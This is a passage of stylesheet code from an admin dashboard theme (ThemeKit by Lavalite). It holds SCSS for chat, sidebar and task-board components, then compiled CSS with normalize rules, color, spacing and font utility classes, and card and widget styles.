							    order: 1;
							    p {
								    background: #404E67;
								    border: 1px solid #404E67;
								    border-radius: 3px;
								    padding: .5em 1em;
								    color: #fff;
								    margin-bottom: .5em;
								    position: relative;
								    &:first-child:after, &:first-child:before {
									    content: "";
									    height: 0;
									    width: 0;
									    display: block;
									    position: absolute;
									    top: 1.25rem;
									    right: -7px;
									    left: auto;
									    border-style: solid;
									    border-width: 6px 0 7px 6px;
									    border-color: transparent transparent transparent #404E67;
									    @include transform(translateY(-50%));
									}
									&:first-child:before {
									    right: -7px;
    									border-left-color: #404E67;
									}
								}
							}
							&.reply {
								figure {
								    -webkit-box-ordinal-group: 2;
								    -ms-flex-order: 1;
								    order: 1;
								}
								.message-body {
								    -webkit-box-align: start;
								    -ms-flex-align: start;
								    align-items: flex-start;
								    -webkit-box-ordinal-group: 3;
								    -ms-flex-order: 2;
								    order: 2;
								    p {
								    	background: #fff;
									    border: 1px solid #eef1f2;
									    border-radius: 0;
									    border-top-right-radius: 3px;
									    border-bottom-right-radius: 3px;
									    border-radius: 3px;
									    color: #666;
									    &:first-child:after, &:first-child:before {
										    content: "";
										    height: 0;
										    width: 0;
										    display: block;
										    position: absolute;
										    right: auto;
										    left: -7px;
										    border-style: solid;
										    border-width: 6px 7px 6px 0;
										    border-color: transparent #fff transparent transparent;
										    @include transform(translateY(-50%));
										}
										&:first-child:before {
										    left: -9px;
										    border-right-color: #eef1f2;
										}
										&:first-child:after {
										    content: "";
										    height: 0;
										    width: 0;
										    display: block;
										    position: absolute;
										    right: auto;
										    left: -7px;
										    border-style: solid;
										    border-width: 6px 7px 6px 0;
										    border-color: transparent #fff transparent transparent;
										    @include transform(translateY(-50%));
										}
								    }
								}
							}
						}
					}
				}
				.card-footer {
				    background: none;
				    padding: 1.07143em 1.42857em;
				    border-top: 1px solid rgba(153, 153, 153, 0.2);
				    .list-icon {
					    font-size: 1.125rem;
					}
					textarea {
						box-shadow: none;
						resize: none;
						padding: 0;
						width: 100%;
						min-height: auto;
						padding: 5px 0;
					}
				}
			}
		}
	}
	&.nav-collapsed {
		.header-top {
		    padding-left: 60px;
		}
		.page-wrap  {
			.app-sidebar {
			    width: 60px;
			    .sidebar-header {
			    	.header-brand {
				    	.text {
						    display: none;
						}
				    }
			    }
			    .sidebar-content {
			    	.nav-container {
			    		.navigation-main {
			    			.nav-lavel {
			    				display: none;
			    			}
			    			.nav-item {
			    				a {
			    					span {
									    display: none;
									}
									&::before {
									    display: none;
									}
			    				}
			    			}
			    		}
			    	}
			    }
			    &:hover {
			    	width: 240px;
			    	.header-brand {
			    		.text {
						    display: inline-block;
						}
			    	}
			    	.sidebar-content {
				    	.nav-container {
				    		.navigation-main {
				    			.nav-lavel {
				    				display: block;
				    			}
				    			.nav-item {
				    				a {
				    					span {
										    display: inline-block;
										}
										&::before {
										    display: inline-block;
										}
				    				}
				    			}
				    		}
				    	}
				    }
			    }
			}
			.main-content {
			    padding-left: 75px;
			}
			.footer {
			    padding-left: 90px;
			}
		}
	}
	&.menu-collapsed {
		.page-wrap {
			.app-sidebar {
				.sidebar-header {
					.nav-toggle {
					    display: none;
					}
				}
			}
		}
	}
	&.right-sidebar-expand {
		.right-sidebar {
			@include transform(translateX(0));
		}
		.chat-panel {
			@include transform(translateY(-100%) translateX(0));
		}
	}
}
hr {
    box-sizing: content-box;
    height: 0;
    margin-top: 1rem;
    border: 0;
    border-top: 1px solid rgba(0,0,0,.1);
}
.profiletimeline {
    position: relative;
    padding-left: 40px;
    margin: 40px 10px 0 30px;
    border-left: 1px solid rgba(0,0,0,.1);
    .sl-item {
	    margin-top: 8px;
	    margin-bottom: 30px;
	    .sl-left {
		    float: left;
		    margin-left: -60px;
		    z-index: 1;
		    margin-right: 15px;
		    img {
		    	max-width: 40px;
		    }
		}
		.sl-right {
			.sl-date {
			    font-size: 12px;
			    color: #afb5c1;
			}
		}
	}
}

.dd-handle {
    background: #f7f7f7;
    border-radius: 3px;
    padding: 20px;
    position: relative;
    display: block;
    text-decoration: none;
    margin: 5px 0;
    overflow: hidden;
    p {
    	margin: 0;
    }
    @include pseudo-element('after') {
    	content: '';
	    width: 5px;
	    height: 100%;
	    position: absolute;
	    top: 0;
	    left: 0;
    }
}
.dd-list {
	margin: 0;
	padding: 0;
	list-style: none;
	.dd-placeholder, .dd-empty {
	    margin: 5px 0;
	    padding: 0;
	    min-height: 30px;
	    background: #f2fbff;
	    border: 1px dashed #b6bcbf;
	    @include border-radius (4px);
	}
	.dd-list {
		padding-left: 30px;
	}
}
.dd-dragel {
    position: absolute;
    pointer-events: none;
    z-index: 9999;
    .dd-handle {
	    -webkit-box-shadow: 2px 4px 6px 0 rgba(0,0,0,.1);
	    -ms-box-shadow: 2px 4px 6px 0 rgba(0,0,0,.1);
	    box-shadow: 2px 4px 6px 0 rgba(0,0,0,.1);
	}
}

.todo-task {
	.dd-handle {
	    @include pseudo-element('after') {
	    	background-color: $danger;
	    }
	}
}
.progress-task {
	.dd-handle {
	    @include pseudo-element('after') {
	    	background-color: $yellow;
	    }
	}
}
.completed-task {
	.dd-handle {
	    @include pseudo-element('after') {
	    	background-color: $green;
	    }
	}
}
[class*="user--"]::after {
    height: 0.64286em;
    width: 0.64286em;
    display: block;
    position: absolute;
    top: 0;
    right: 10%;
    border-radius: 100px;
    content: "";
    -webkit-box-shadow: 0 0 0 2px #fff;
    box-shadow: 0 0 0 2px #fff;
}
.user--online:after {
    background: #06d6a0;
}
.user--busy:after {
    background: #ff3333;
}
.user--offline:after {
    background: #bbb;
}PK��\�@���scss/theme.cssnu�[���/*!
 * ThemeKit v1 (https://lavalite.org/)
 * Copyright 2018 The Lavalite Authors
 */
html {
  font-family: sans-serif;
  /* 1 */
  -ms-text-size-adjust: 100%;
  /* 2 */
  -webkit-text-size-adjust: 100%;
  /* 2 */ }

body {
  margin: 0; }

article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
main,
menu,
nav,
section,
summary {
  display: block; }

audio,
canvas,
progress,
video {
  display: inline-block;
  /* 1 */
  vertical-align: baseline;
  /* 2 */ }

audio:not([controls]) {
  display: none;
  height: 0; }

[hidden],
template {
  display: none; }

a {
  background-color: transparent; }

a:active,
a:hover {
  outline: 0; }

abbr[title] {
  border-bottom: 1px dotted; }

strong {
  font-weight: bold; }

dfn {
  font-style: italic; }

h1 {
  font-size: 2em;
  margin: 0.67em 0; }

mark {
  background: #ff0;
  color: #000; }

small {
  font-size: 80%; }

sub,
sup {
  font-size: 75%;
  line-height: 0;
  position: relative;
  vertical-align: baseline; }

sup {
  top: -0.5em; }

sub {
  bottom: -0.25em; }

img {
  border: 0; }

svg:not(:root) {
  overflow: hidden; }

figure {
  margin: 1em 40px; }

hr {
  box-sizing: content-box;
  height: 0; }

pre {
  overflow: auto; }

code,
kbd,
pre,
samp {
  font-family: monospace, monospace;
  font-size: 1em; }

button,
input,
optgroup,
select,
textarea {
  color: inherit;
  /* 1 */
  font: inherit;
  /* 2 */
  margin: 0;
  /* 3 */ }

button {
  overflow: visible; }

button,
select {
  text-transform: none; }

button,
html input[type="button"],
input[type="reset"],
input[type="submit"] {
  -webkit-appearance: button;
  /* 2 */
  cursor: pointer;
  /* 3 */ }

button[disabled],
html input[disabled] {
  cursor: default; }

button::-moz-focus-inner,
input::-moz-focus-inner {
  border: 0;
  padding: 0; }

input {
  line-height: normal; }

input[type="checkbox"],
input[type="radio"] {
  box-sizing: border-box;
  /* 1 */
  padding: 0;
  /* 2 */ }

input[type="number"]::-webkit-inner-spin-button,
input[type="number"]::-webkit-outer-spin-button {
  height: auto; }

input[type="search"] {
  -webkit-appearance: textfield;
  /* 1 */
  box-sizing: content-box;
  /* 2 */ }

input[type="search"]::-webkit-search-cancel-button,
input[type="search"]::-webkit-search-decoration {
  -webkit-appearance: none; }

fieldset {
  border: 1px solid #c0c0c0;
  margin: 0 2px;
  padding: 0.35em 0.625em 0.75em; }

legend {
  border: 0;
  /* 1 */
  padding: 0;
  /* 2 */ }

textarea {
  overflow: auto; }

optgroup {
  font-weight: bold; }

table {
  border-collapse: collapse;
  border-spacing: 0; }

td,
th {
  padding: 0; }

*, body {
  -webkit-font-smoothing: antialiased;
  text-rendering: optimizeLegibility;
  -moz-osx-font-smoothing: grayscale; }

::-moz-selection {
  background: #b3d4fc;
  text-shadow: none; }

::selection {
  background: #b3d4fc;
  text-shadow: none; }

hr {
  display: block;
  height: 1px;
  border: 0;
  border-top: 1px solid #ccc;
  margin: 1em 0;
  padding: 0; }

audio, canvas, iframe, img, svg, video {
  vertical-align: middle; }

fieldset {
  border: 0;
  margin: 0;
  padding: 0; }

textarea {
  resize: vertical; }

.browserupgrade {
  margin: 0.2em 0;
  background: #ccc;
  color: #000;
  padding: 0.2em 0; }

* {
  outline: none !important; }

a {
  color: #212121;
  -moz-transition: color 0.2s;
  -o-transition: color 0.2s;
  -webkit-transition: color 0.2s;
  transition: color 0.2s; }
  a:hover, a:focus, a:active {
    outline: 0;
    text-decoration: none;
    color: #212121; }

.bg-theme {
  background-color: #ef4153 !important; }

.bg-aqua {
  background-color: #3ec5d6 !important; }

.bg-blue {
  background-color: #19B5FE !important; }

.bg-light-blue {
  background-color: #89CFF0 !important; }

.bg-teal {
  background-color: #008081 !important; }

.bg-yellow {
  background-color: #F7CA18 !important; }

.bg-orange {
  background-color: #FF8000 !important; }

.bg-green {
  background-color: #26C281 !important; }

.bg-lime {
  background-color: #cad900 !important; }

.bg-red {
  background-color: #F22613 !important; }

.bg-fuchsia {
  background-color: #df2de3 !important; }

.bg-navy {
  background-color: #000080 !important; }

.bg-empty {
  background: transparent !important; }

.bg-primary {
  background-color: #007bff !important; }

.bg-success {
  background-color: #2dce89 !important; }

.bg-info {
  background-color: #11cdef !important; }

.bg-warning {
  background-color: #fb6340 !important; }

.bg-danger {
  background-color: #f5365c !important; }

.bg-muted {
  background-color: #6c757d !important; }

.bg-inverse {
  background-color: #4c5667 !important; }

.bg-purple {
  background-color: #BF55EC !important; }

.bg-pink {
  background-color: #f76397 !important; }

.bg-white {
  background-color: #ffffff !important; }

.text-blue {
  color: #19B5FE !important; }

.text-light-blue {
  color: #89CFF0 !important; }

.text-teal {
  color: #008081 !important; }

.text-navy {
  color: #000080 !important; }

.text-lime {
  color: #cad900 !important; }

.text-orange {
  color: #FF8000 !important; }

.text-yellow {
  color: #F7CA18 !important; }

.text-aqua {
  color: #3ec5d6 !important; }

.text-white {
  color: #ffffff !important; }

.text-danger {
  color: #f5365c !important; }

.text-green {
  color: #26C281 !important; }

.text-primary {
  color: #007bff !important; }

.text-warning {
  color: #fb6340 !important; }

.text-success {
  color: #2dce89 !important; }

.text-info {
  color: #11cdef !important; }

.text-inverse {
  color: #4c5667 !important; }

.text-pink {
  color: #f76397 !important; }

.text-purple {
  color: #BF55EC !important; }

.text-dark {
  color: #212121 !important; }

.text-fuchsia {
  color: #df2de3 !important; }

.text-red {
  color: #F22613 !important; }

.text-facebook {
  color: #3b579d !important; }

.text-twitter {
  color: #1da1f2 !important; }

.text-instagram {
  color: #fb3958 !important; }

.text-google {
  color: #dc4a38 !important; }

.text-linkedin {
  color: #0177b4 !important; }

.text-behance {
  color: #053eff !important; }

.text-red {
  color: #F22613 !important; }

.min-width-zero {
  min-width: 0; }

.w-10 {
  width: 10% !important; }

.w-90 {
  width: 90% !important; }

.w-12 {
  width: 12% !important; }

.w-88 {
  width: 88% !important; }

.w-15 {
  width: 15% !important; }

.w-85 {
  width: 85% !important; }

.w-20 {
  width: 20% !important; }

.w-80 {
  width: 80% !important; }

.w-30 {
  width: 30% !important; }

.w-70 {
  width: 70% !important; }

.w-40 {
  width: 40% !important; }

.w-60 {
  width: 60% !important; }

.m-0 {
  margin: 0 !important; }

.mt-0 {
  margin-top: 0px !important; }

.mt-5 {
  margin-top: 5px !important; }

.mt-10 {
  margin-top: 10px !important; }

.mt-15 {
  margin-top: 15px !important; }

.mt-20 {
  margin-top: 20px !important; }

.mt-25 {
  margin-top: 25px !important; }

.mt-30 {
  margin-top: 30px !important; }

.mt-35 {
  margin-top: 35px !important; }

.mt-40 {
  margin-top: 40px !important; }

.mt-45 {
  margin-top: 45px !important; }

.mt-50 {
  margin-top: 50px !important; }

.mt-55 {
  margin-top: 55px !important; }

.mt-60 {
  margin-top: 60px !important; }

.mt-65 {
  margin-top: 65px !important; }

.mt-70 {
  margin-top: 70px !important; }

.mt-75 {
  margin-top: 75px !important; }

.mt-80 {
  margin-top: 80px !important; }

.mt-85 {
  margin-top: 85px !important; }

.mt-90 {
  margin-top: 90px !important; }

.mt-95 {
  margin-top: 95px !important; }

.mt-100 {
  margin-top: 100px !important; }

.mb-0 {
  margin-bottom: 0px !important; }

.mb-5 {
  margin-bottom: 5px !important; }

.mb-10 {
  margin-bottom: 10px !important; }

.mb-15 {
  margin-bottom: 15px !important; }

.mb-20 {
  margin-bottom: 20px !important; }

.mb-25 {
  margin-bottom: 25px !important; }

.mb-30 {
  margin-bottom: 30px !important; }

.mb-35 {
  margin-bottom: 35px !important; }

.mb-40 {
  margin-bottom: 40px !important; }

.mb-45 {
  margin-bottom: 45px !important; }

.mb-50 {
  margin-bottom: 50px !important; }

.mb-55 {
  margin-bottom: 55px !important; }

.mb-60 {
  margin-bottom: 60px !important; }

.mb-65 {
  margin-bottom: 65px !important; }

.mb-70 {
  margin-bottom: 70px !important; }

.mb-75 {
  margin-bottom: 75px !important; }

.mb-80 {
  margin-bottom: 80px !important; }

.mb-85 {
  margin-bottom: 85px !important; }

.mb-90 {
  margin-bottom: 90px !important; }

.mb-95 {
  margin-bottom: 95px !important; }

.mb-100 {
  margin-bottom: 100px !important; }

.ml-0 {
  margin-left: 0px !important; }

.ml-5 {
  margin-left: 5px !important; }

.ml-10 {
  margin-left: 10px !important; }

.ml-15 {
  margin-left: 15px !important; }

.ml-20 {
  margin-left: 20px !important; }

.ml-25 {
  margin-left: 25px !important; }

.ml-30 {
  margin-left: 30px !important; }

.ml-35 {
  margin-left: 35px !important; }

.ml-40 {
  margin-left: 40px !important; }

.ml-45 {
  margin-left: 45px !important; }

.ml-50 {
  margin-left: 50px !important; }

.ml-55 {
  margin-left: 55px !important; }

.ml-60 {
  margin-left: 60px !important; }

.ml-65 {
  margin-left: 65px !important; }

.ml-70 {
  margin-left: 70px !important; }

.ml-75 {
  margin-left: 75px !important; }

.ml-80 {
  margin-left: 80px !important; }

.ml-85 {
  margin-left: 85px !important; }

.ml-90 {
  margin-left: 90px !important; }

.ml-95 {
  margin-left: 95px !important; }

.ml-100 {
  margin-left: 100px !important; }

.mr-0 {
  margin-right: 0px !important; }

.mr-5 {
  margin-right: 5px !important; }

.mr-10 {
  margin-right: 10px !important; }

.mr-15 {
  margin-right: 15px !important; }

.mr-20 {
  margin-right: 20px !important; }

.mr-25 {
  margin-right: 25px !important; }

.mr-30 {
  margin-right: 30px !important; }

.mr-35 {
  margin-right: 35px !important; }

.mr-40 {
  margin-right: 40px !important; }

.mr-45 {
  margin-right: 45px !important; }

.mr-50 {
  margin-right: 50px !important; }

.mr-55 {
  margin-right: 55px !important; }

.mr-60 {
  margin-right: 60px !important; }

.mr-65 {
  margin-right: 65px !important; }

.mr-70 {
  margin-right: 70px !important; }

.mr-75 {
  margin-right: 75px !important; }

.mr-80 {
  margin-right: 80px !important; }

.mr-85 {
  margin-right: 85px !important; }

.mr-90 {
  margin-right: 90px !important; }

.mr-95 {
  margin-right: 95px !important; }

.mr-100 {
  margin-right: 100px !important; }

.p-0 {
  padding: 0 !important; }

.pt-0 {
  padding-top: 0px !important; }

.pt-5 {
  padding-top: 5px !important; }

.pt-10 {
  padding-top: 10px !important; }

.pt-15 {
  padding-top: 15px !important; }

.pt-20 {
  padding-top: 20px !important; }

.pt-25 {
  padding-top: 25px !important; }

.pt-30 {
  padding-top: 30px !important; }

.pt-35 {
  padding-top: 35px !important; }

.pt-40 {
  padding-top: 40px !important; }

.pt-45 {
  padding-top: 45px !important; }

.pt-50 {
  padding-top: 50px !important; }

.pt-55 {
  padding-top: 55 !important; }

.pt-60 {
  padding-top: 60px !important; }

.pt-65 {
  padding-top: 65px !important; }

.pt-70 {
  padding-top: 70px !important; }

.pt-75 {
  padding-top: 75px !important; }

.pt-80 {
  padding-top: 80px !important; }

.pt-85 {
  padding-top: 85px !important; }

.pt-90 {
  padding-top: 90px !important; }

.pt-95 {
  padding-top: 95px !important; }

.pt-100 {
  padding-top: 100px !important; }

.pb-0 {
  padding-bottom: 0px !important; }

.pb-5 {
  padding-bottom: 5px !important; }

.pb-10 {
  padding-bottom: 10px !important; }

.pb-15 {
  padding-bottom: 15px !important; }

.pb-20 {
  padding-bottom: 20px !important; }

.pb-25 {
  padding-bottom: 25px !important; }

.pb-30 {
  padding-bottom: 30px !important; }

.pb-35 {
  padding-bottom: 35px !important; }

.pb-40 {
  padding-bottom: 40px !important; }

.pb-45 {
  padding-bottom: 45px !important; }

.pb-50 {
  padding-bottom: 50px !important; }

.pb-55 {
  padding-bottom: 55px !important; }

.pb-60 {
  padding-bottom: 60px !important; }

.pb-65 {
  padding-bottom: 65px !important; }

.pb-70 {
  padding-bottom: 70px !important; }

.pb-75 {
  padding-bottom: 75px !important; }

.pb-80 {
  padding-bottom: 80px !important; }

.pb-85 {
  padding-bottom: 85px !important; }

.pb-90 {
  padding-bottom: 90px !important; }

.pb-95 {
  padding-bottom: 95px !important; }

.pb-100 {
  padding-bottom: 100px !important; }

.pl-0 {
  padding-left: 0px !important; }

.pl-5 {
  padding-left: 5px !important; }

.pl-10 {
  padding-left: 10px !important; }

.pl-15 {
  padding-left: 15px !important; }

.pl-20 {
  padding-left: 20px !important; }

.pl-25 {
  padding-left: 25px !important; }

.pl-30 {
  padding-left: 30px !important; }

.pl-35 {
  padding-left: 35px !important; }

.pl-40 {
  padding-left: 40px !important; }

.pl-45 {
  padding-left: 45px !important; }

.pl-50 {
  padding-left: 50px !important; }

.pl-55 {
  padding-left: 55px !important; }

.pl-60 {
  padding-left: 60px !important; }

.pl-65 {
  padding-left: 65px !important; }

.pl-70 {
  padding-left: 70px !important; }

.pl-75 {
  padding-left: 75px !important; }

.pl-80 {
  padding-left: 80px !important; }

.pl-85 {
  padding-left: 85px !important; }

.pl-90 {
  padding-left: 90px !important; }

.pl-95 {
  padding-left: 95px !important; }

.pl-100 {
  padding-left: 100px !important; }

.pr-0 {
  padding-right: 0px !important; }

.pr-5 {
  padding-right: 5px !important; }

.pr-10 {
  padding-right: 10px !important; }

.pr-15 {
  padding-right: 15px !important; }

.pr-20 {
  padding-right: 20px !important; }

.pr-25 {
  padding-right: 25px !important; }

.pr-30 {
  padding-right: 30px !important; }

.pr-35 {
  padding-right: 35px !important; }

.pr-40 {
  padding-right: 40px !important; }

.pr-45 {
  padding-right: 45px !important; }

.pr-50 {
  padding-right: 50px !important; }

.pr-55 {
  padding-right: 55px !important; }

.pr-60 {
  padding-right: 60px !important; }

.pr-65 {
  padding-right: 65px !important; }

.pr-70 {
  padding-right: 70px !important; }

.pr-75 {
  padding-right: 75px !important; }

.pr-80 {
  padding-right: 80px !important; }

.pr-85 {
  padding-right: 85px !important; }

.pr-90 {
  padding-right: 90px !important; }

.pr-95 {
  padding-right: 95px !important; }

.pr-100 {
  padding-right: 100px !important; }

.f-10 {
  font-size: 10px !important; }

.f-20 {
  font-size: 20px !important; }

.f-22 {
  font-size: 22px !important; }

.f-24 {
  font-size: 24px !important; }

.f-26 {
  font-size: 26px !important; }

.f-28 {
  font-size: 28px !important; }

.f-30 {
  font-size: 30px !important; }

.f-40 {
  font-size: 40px !important; }

.f-50 {
  font-size: 50px !important; }

.f-60 {
  font-size: 60px !important; }

.f-70 {
  font-size: 70px !important; }

.f-80 {
  font-size: 80px !important; }

.f-90 {
  font-size: 90px !important; }

.f-100 {
  font-size: 100px !important; }

.hidden {
  display: none !important; }

.d-inline-block {
  display: inline-block !important; }

.d-block {
  display: block !important; }

.visuallyhidden {
  border: 0;
  clip: rect(0 0 0 0);
  height: 1px;
  margin: -1px;
  overflow: hidden;
  padding: 0;
  position: absolute;
  width: 1px; }

.visuallyhidden.focusable:active, .visuallyhidden.focusable:focus {
  clip: auto;
  height: auto;
  margin: 0;
  overflow: visible;
  position: static;
  width: auto; }

.invisible {
  visibility: hidden; }

.clearfix:before, .clearfix:after {
  content: " ";
  display: table; }

.clearfix:after {
  clear: both; }

@media only screen and (max-width: 1023px) {
  .w-sm-100 {
    width: 100% !important; } }
@media only screen and (max-width: 767px) {
  .w-xs-100 {
    width: 100% !important; } }
.card {
  border-color: #ffff;
  position: relative;
  width: 100%;
  border: none;
  margin-bottom: 30px;
  -webkit-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  -moz-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  -moz-transition: all 0.5s ease-in-out;
  -o-transition: all 0.5s ease-in-out;
  -webkit-transition: all 0.5s ease-in-out;
  transition: all 0.5s ease-in-out;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }
  .card .card-header {
    padding: 20px 20px;
    border: 0;
    background: none;
    display: -webkit-box;
    display: -moz-box;
    display: -ms-flexbox;
    display: -webkit-flex;
    display: flex;
    -webkit-align-items: center;
    -moz-align-items: center;
    -ms-align-items: center;
    align-items: center; }
    .card .card-header:first-child {
      border-radius: calc(.25rem - 1px) calc(.25rem - 1px) 0 0; }
    .card .card-header h3 {
      margin: 0;
      font-size: 18px;
      font-weight: normal;
      color: #212121; }
    .card .card-header .card-options a:not(.dropdown-item) {
      width: 30px;
      height: 30px;
      padding: 0;
      border-radius: 50%;
      text-align: center;
      line-height: 33px;
      color: #212121;
      display: inline-block;
      -moz-transition: all 0.5s ease-in-out;
      -o-transition: all 0.5s ease-in-out;
      -webkit-transition: all 0.5s ease-in-out;
      transition: all 0.5s ease-in-out; }
    .card .card-header .card-options span {
      color: #444;
      font-size: 12px; }
    .card .card-header .card-search {
      position: relative; }
      .card .card-header .card-search .form-control {
        padding-right: 60px;
        font-size: 14px;
        max-height: 30px;
        min-height: 30px; }
        .card .card-header .card-search .form-control ~ .btn {
          position: absolute;
          right: 0;
          top: 0;
          padding: 0;
          width: 30px;
          height: 30px;
          line-height: 30px;
          border-radius: 4px;
          background-color: #eceff1;
          border: none;
          -webkit-box-shadow: none;
          -moz-box-shadow: none;
          box-shadow: none; }
      .card .card-header .card-search.with-adv-search .adv-btn {
        background-color: transparent;
        border: 0;
        position: absolute;
        right: 30px;
        top: 0;
        width: 30px;
        height: 30px;
        line-height: 30px;
        padding: 0;
        -webkit-box-shadow: none;
        -moz-box-shadow: none;
        box-shadow: none; }
      .card .card-header .card-search.with-adv-search .adv-search-wrap {
        padding: 20px;
        display: none;
        position: absolute;
        left: 30px !important;
        width: 100%;
        top: 30px;
        background-color: #ffffff !important;
        z-index: 4;
        -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
        -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
        box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
        border-radius: 6px;
        -webkit-border-radius: 6px;
        -moz-border-radius: 6px; }
        .card .card-header .card-search.with-adv-search .adv-search-wrap .form-control {
          padding-right: 15px; }
        .card .card-header .card-search.with-adv-search .adv-search-wrap .btn {
          padding: 0 15px;
          font-size: 14px;
          height: 30px;
          border-radius: 30px;
          -webkit-border-radius: 30px;
          -moz-border-radius: 30px; }
        .card .card-header .card-search.with-adv-search .adv-search-wrap.show {
          display: block; }
    .card .card-header.note-toolbar {
      padding: 0 0 5px 5px; }
    .card .card-header .dropdown .checkbox-dropdown {
      padding: 0px;
      width: 16px;
      height: 16px;
      background-color: #dee2e6;
      border-radius: .25rem;
      margin-right: 15px; }
  .card .card-body {
    padding: 20px 20px;
    flex: 1 1 auto;
    position: relative; }
  .card .card-img {
    height: 100%;
    object-fit: cover;
    max-height: 200px;
    width: unset;
    border-radius: 4px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px; }
  .card .card-img-overlay {
    background: rgba(0, 0, 0, 0.5);
    padding: 1.75rem;
    border-radius: 4px; }
  .card.icon-card .card-body i {
    font-size: 46px;
    line-height: 66px;
    color: #212121 !important; }
  .card.icon-card .card-body .card-text {
    color: #8f8f8f;
    height: 30px;
    line-height: 26px; }
  .card.icon-card .card-body .lead {
    color: #212121 !important;
    margin-bottom: 0; }
  .card .nav-pills.custom-pills {
    border-bottom: 1px solid #f1f1f1; }
    .card .nav-pills.custom-pills .nav-link {
      border-radius: 0;
      opacity: .7;
      font-size: 14px;
      padding: 12px 15px; }
      .card .nav-pills.custom-pills .nav-link.active {
        color: #ef4153;
        opacity: 1;
        background-color: transparent;
        border-bottom: 2px solid #ef4153; }

.widget {
  border-color: #ffff;
  position: relative;
  width: 100%;
  border: none;
  margin-bottom: 30px;
  background-color: #fff;
  overflow: hidden;
  -webkit-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  -moz-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  -moz-transition: all 0.5s ease-in-out;
  -o-transition: all 0.5s ease-in-out;
  -webkit-transition: all 0.5s ease-in-out;
  transition: all 0.5s ease-in-out;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }
  .widget .widget-header {
    padding: 10px 20px;
    border-bottom: 1px solid #f5f7f9;
    position: relative; }
    .widget .widget-header .widget-title {
      font-size: 18px;
      margin: 0; }
    .widget .widget-header .widget-tools {
      position: absolute;
      right: 10px;
      top: 5px; }
      .widget .widget-header .widget-tools .btn-widget-tool {
        padding: 5px;
        font-size: 16px;
        background: transparent;
        color: #97a0b3; }
        .widget .widget-header .widget-tools .btn-widget-tool i {
          margin: 0; }
        .widget .widget-header .widget-tools .btn-widget-tool:focus {
          -webkit-box-shadow: none;
          -moz-box-shadow: none;
          box-shadow: none; }
  .widget .widget-body {
    padding: 20px 20px; }
    .widget .widget-body h6 {
      margin-bottom: 0;
      font-weight: 400; }
    .widget .widget-body h2 {
      margin-bottom: 0px;
      font-weight: 600; }
    .widget .widget-body .icon {
      font-size: 37px;
      color: #9aa0ac; }
    .widget .widget-body .overlay {
      position: absolute;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background: rgba(0, 0, 0, 0.22);
      text-align: center;
      z-index: 3;
      display: -webkit-box;
      display: -moz-box;
      display: -ms-flexbox;
      display: -webkit-flex;
      display: flex;
      -webkit-justify-content: center;
      -moz-justify-content: center;
      -ms-justify-content: center;
      justify-content: center;
      -ms-flex-pack: center;
      -webkit-align-items: center;
      -moz-align-items: center;
      -ms-align-items: center;
      align-items: center;
      -webkit-flex-direction: column;
      -moz-flex-direction: column;
      -ms-flex-direction: column;
      flex-direction: column; }
      .widget .widget-body .overlay i {
        font-size: 32px;
        color: #ef4153;
        margin-bottom: 5px; }
  .widget .progress {
    border-radius: 0; }
  .widget[class*=bg-] .widget-header {
    background-color: rgba(255, 255, 255, 0.2);
    border-bottom-color: transparent; }
    .widget[class*=bg-] .widget-header .widget-title {
      color: #fff; }
    .widget[class*=bg-] .widget-header .widget-tools .btn-widget-tool {
      color: rgba(255, 255, 255, 0.6); }
  .widget[class*=bg-] .widget-body {
    color: #ffffff !important; }
    .widget[class*=bg-] .widget-body .icon {
      color: #ffffff !important; }
  .widget.social-widget .widget-body {
    text-align: center; }

.loading {
  -webkit-animation-name: loading;
  animation-name: loading;
  -webkit-animation-duration: .75s;
  animation-duration: .75s;
  -webkit-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  -webkit-animation-timing-function: linear;
  animation-timing-function: linear; }

@-webkit-keyframes loading {
  0% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg); }
  to {
    -webkit-transform: rotate(1turn);
    transform: rotate(1turn); } }
@keyframes loading {
  0% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg); }
  to {
    -webkit-transform: rotate(1turn);
    transform: rotate(1turn); } }
.card-group .card:not(:last-child) {
  border-right: 1px solid #f1f1f1; }

.card .card-header {
  border-bottom: 1px solid #f1f1f1; }
  .card .card-header .card-header-right {
    right: 10px;
    top: 16px;
    display: inline-block;
    float: right;
    position: absolute; }
    .card .card-header .card-header-right .card-option {
      width: 35px;
      height: 25px;
      overflow: hidden;
      margin: 0;
      -moz-transition: 0.3s ease-in-out;
      -o-transition: 0.3s ease-in-out;
      -webkit-transition: 0.3s ease-in-out;
      transition: 0.3s ease-in-out; }
      .card .card-header .card-header-right .card-option li {
        display: inline-block; }
        .card .card-header .card-header-right .card-option li i {
          margin: 0 5px;
          cursor: pointer;
          font-size: 15px;
          color: #8c8c8c;
          line-height: 2;
          font-weight: 300; }
.card .card-body .icon {
  font-size: 37px;
  color: #9aa0ac; }
.card .feeds-widget {
  padding: 0; }
  .card .feeds-widget .feed-item {
    display: block;
    padding: 12px 15px;
    border: 1px solid #efefef;
    border-left: 0;
    border-right: 0; }
    .card .feeds-widget .feed-item a {
      display: -webkit-box;
      display: -moz-box;
      display: -ms-flexbox;
      display: -webkit-flex;
      display: flex;
      -webkit-align-items: center;
      -moz-align-items: center;
      -ms-align-items: center;
      align-items: center; }
      .card .feeds-widget .feed-item a .feeds-left {
        width: 50px;
        font-size: 30px; }
